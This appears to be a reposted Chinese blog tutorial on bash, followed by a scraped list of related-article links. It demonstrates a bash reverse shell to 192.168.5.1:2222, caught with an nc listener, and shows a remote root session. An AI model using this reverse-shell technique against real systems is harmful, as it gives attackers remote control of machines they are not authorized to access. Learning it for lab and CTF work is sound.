bash是一个命令解释语言,能够执行读取标准输入或文件的命令,可以执行命令以及结合nc进行反弹shell!

基本使用语法

1
bash  -c 命令
1
2
3
root@kali:~ # bash -c whoami
root
root@kali:~ #

另外使用-i表示以交互方式运行shell,通常在目标主机上运行

1
bash  -i >&  /dev/tcp/192 .168.5.1 /2222  0>&1

然后另一台主机使用nc进行监听该端口,即可获取到一个shell!

目标主机:

1
root@kali:~ # bash -i >& /dev/tcp/192.168.5.1/2222 0>&1

攻击主机:

1
2
3
4
5
6
7
8
9
10
11
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222
lstn on [any] 2222 ..
192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA
connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATA
root@kali:~ # uname -a
uname  -a
Linux kali 4.6.0-kali1-amd64  #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@kali:~ # whoami
whoami
root
root@kali:~ #exit

本文转自 eth10 51CTO博客,原文链接:http://blog.51cto.com/eth10/1960279

Linux命令——bash相关推荐

  1. python中执行linux命令(调用linux命令)_Python调用Linux bash命令

    import subprocess as sup  # 以下注释很多(为了自己以后不忘), 如果只是想在python中执行Linux命令, 看前5行就够了 # 3.5版本之后官方推荐使用sup.run ...

  2. 解决linux mysql命令 bash: mysql: command not found 的方法

    解决linux mysql命令 bash: mysql: command not found 的方法 参考文章: (1)解决linux mysql命令 bash: mysql: command not ...

  3. python 调用linux命令-Python调用Linux bash命令

    import subprocess as sup # 以下注释很多(为了自己以后不忘), 如果只是想在python中执行Linux命令, 看前5行就够了 # 3.5版本之后官方推荐使用sup.run( ...

  4. linux命令行使用for循环,小弟我使用过的Linux命令之for - Bash中的For循环

    我使用过的Linux命令之for - Bash中的For循环 我使用过的Linux命令之for - Bash中的For循环 本文链接:http://codingstandards.iteye.com/ ...

  5. linux bash命令_Ultimate Linux命令行指南-Full Bash教程

    linux bash命令 Welcome to our ultimate guide to the Linux Command Line. This tutorial will show you so ...

  6. git bash linux 命令,Git Bash的妙用 - 使用Linux命令

    如何在Windows中使用Linux命令? 网上有很多说是安装CygwinPortable 在cmd 窗口下是用linux 命令,但是还有一些缺陷. 其实对于程序员来说有一个非常简单有效的方法,那就是 ...

  7. -bash: unzip: 未找到命令_29 条运维工程师必会实用 Linux 命令

    虽然Linux发行版支持各种各样的饿GUI(graphical user interfaces),但在某些情况下,Linux的命令行接口(bash)仍然是简单快速的.Bash和 Linux Shell ...

  8. 管道,Linux命令,Windows命令,cmd命令,tmux,vim,shell,bash,sh文件,bat文件

    catalog WIndows与Unix基本命令 Bat文件 规范 注释 Windows-CMD 介绍 管道`|`, 重定向`> <` 相对位置 fc 创建文件 删除文件/文件夹 创建文件 ...

  9. 每个程序员都应该知道的Linux基础知识!全文4900字,没有耐心的不建议看 ——( Linux文件系统 + 系统管理类命令 + bash基础特性)

    文章目录 - Linux的文件系统 - LSB - FHS - 根文件系统 - 对根文件系统下目录的概述: /boot /bin /sbin /lib /lib64 /etc /home /root ...

最新文章

  1. C++ sort()函数的cmp含义
  2. 凉凉用计算机打的歌谱,张碧晨杨宗纬《凉凉》歌谱
  3. java 全局变量 内存不回收_JAVA知识梳理:内存管理与垃圾回收机制
  4. 不会代码,如何搭建一个个人博客?
  5. LeetCode Algorithm 202. 快乐数
  6. Keras笔记(一)一些基本概念
  7. 一步步在Docker里运行Web应用
  8. mysql必会语法_sql语法:sql必读必会(二)mysql中的函数大全
  9. 项目的数据存储c语言,《C语言及程序设计》实践项目——数值型数据的存储原理...
  10. u-boot编译连接分析
  11. c2665 “initgraph”: 2 个重载中没有一个可以转换所有参数类型_一个使用延迟候选项生成的用于自动化程序修复方法的工具...
  12. C#中COM串口连接、发送、接收数据
  13. 服务器装系统报0x0000005d,安装Win8系统出现error code 0x0000005d如何解决?
  14. Python本地文件合并(csv)
  15. 桌面管理 | Windows自带工具
  16. 06.ESP8266驱动OLED屏
  17. python批量删除txt文本前面几行和最后几行
  18. 猿创征文|我的前端学习之旅【来自一名大四老学长的真情流露】
  19. 怎样用matlab做复数运算,MATLAB面向复数运算的设计.doc
  20. BC70 空心三角形图案

热门文章

  1. java double 出现e_JAVA中double类型运算结果异常的解决
  2. JS - 前端生成 UUID 四种方法
  3. HDU 4416 (后缀自动机)
  4. golang工作中常用的一些库
  5. MySQL复制表结构,表数据。
  6. 【HTML】HTML网页设计----模仿汉服前端设计
  7. ”高内聚 ,低耦合“到底是什么意思?
  8. Tomb.com—新域名上线
  9. (二)对图像进行预处理(灰度化,二值化)
  10. 正则表达式与grep